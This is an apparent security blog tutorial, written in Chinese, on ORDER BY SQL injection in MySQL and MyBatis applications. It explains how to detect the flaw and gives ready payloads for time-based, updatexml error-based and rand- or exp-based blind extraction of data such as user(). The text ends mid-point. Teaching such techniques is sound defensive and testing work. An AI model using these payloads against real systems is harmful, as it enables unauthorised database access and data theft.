一、 判断order by注入
当你看到一个查询结果有排序小箭头时,要额外注意,这可能一个SORT(排序)键值,抓包后可能是这样的。
那么后端SQL语句就差不多类似
select * from table where id =1 order by zzf desc;
这种地方在java-mybatis环境中容易引发注入问题,原因很简单,在mybatis中order by ${sort}传的是列名不能用#{},因此需要额外用白名单处理。有的开发没处理就有注入了。
同理,table_name/column_name这种地方也容易产生SQL注入。
还有一种是like,like是可以用#{}的,但部分开发不会写like的#{}就用的${}。不过like注入比比order by注入少很多。
如何判断这里有order by注入呢?很简单,原理跟最基础的联合注入利用order by爆破字段数量是一样的。
order by (1) 不报错
order by (10000000) 报错
这样就基本能判断出来这里有order by注入了。
当然也可以直接order by sleep(1)。
二、 order by注入利用
一个SQL注入的标准是至少注出user()出来,当然现代WAF/框架之狠,直接给你干没select,也很难注出什么有效数据(不绝对,部分情况除外)。
order by怎么注user()呢?正常有三种方法利用。
1,时间盲注
能用sleep(1)就能构造最简单的基于时间延迟的布尔盲注。
select * from user order by if(1=1,sleep(1),1);
但它有个很大的缺点,就是有几条数据就重复几次sleep(1)。
那么另外一个常用的benchmark(50000000,sha(1))能用吗?答案是不行,原因后面就知道了。
2,报错注入
经典的updatexml()
select * from user order by updatexml(1,concat(0x7e,(select user()),0x7e),1);
报错注入有个最特殊的地方,它是唯一查询内容会空,依旧可以order by注入的方式。
缺点就是生产环境往往关闭了报错信息。
3,用列名构造基于排序差异的布尔盲注
select * from user order by if(1=1,id,email);
但前提是知道列名,以及列名确实能够产生排序不同。
如果不知道列名,用数字代替是不行的。
4,用rand构造基于排序差异布尔的盲注
rand是根据种子返回一个0-1的随机小数,rand(1=1)和rand(1=2)在大量数据时大概率会导致排序不同 ,因此可以构造基于排序不同的布尔条件。
select * from user order by rand(1=1);
显然基于排序差异的布尔盲注,如果碰到没有排序差异的查询结果,比如就一条数据,就没办法了。
三、 基于报错的布尔盲注
在有些注入中,表里没有数据,或者查询出来的数据不展示在web,又或者是增删改的SQL注入。这个时候可能只能时间盲注,但通常可以将这个时间盲注升级成基于报错的布尔盲注。
就是构造出一个条件,为true时执行错误的语句导致服务端抛错,为false时执行正确的语句,即使服务端不返回任何东西或者返回随机的东西,只要不抛错,即可构造布尔条件。
直观点就是这样的SQL语句。
select * from user where id =1 and if(1=1,exp(9999999),1);
用case when代替if
select * from user where id =1 and (case when 1=1 then exp(9999999) else 1 end);
exp(9999999)这个报错行为,代替如下。
cot(1-(1=1))
pow(1+(1=1),99999)
还有另外一种在其他数据库也能构造出来的报错行为,那就是联合查询使子查询有两条数据。
select * from user where id =1 and (case when 1=1 then (select 1 union select 2) else 1 end);
基于报错的布尔盲注弥补了基于排序差异的布尔盲注的不足,那么order by能用它吗?
答案是能用一部分,也就是联合查询那部分。
select * from user where 1=1 order by (case when 1=1 then (select 1 union select 2) else 1 end);
为什么if+exp不能用呢?
答案是order by正常情况下根本不会去执行方法,甚至连基础的运算都不支持。
如下图,order by (2-1)的排序结果是跟没有order by或者order by null的结果是一样的。
什么情况下会执行运算呢?前面已经说了很多种情况了,比如sleep,比如联合查询。
但这里面还要分情况,那就是运算的先后顺序,比如常用的substr(),它结合exp(9999999)也会导致报错,但却是恒定报错。
select * from user where 1=1 order by if(1=1,substr(1,exp(9999999)),1);
也就是说,先运算exp(),再运算substr(),最后运算if(1=1)。
而如果是sleep(exp(9999999)),运算顺序就变化了。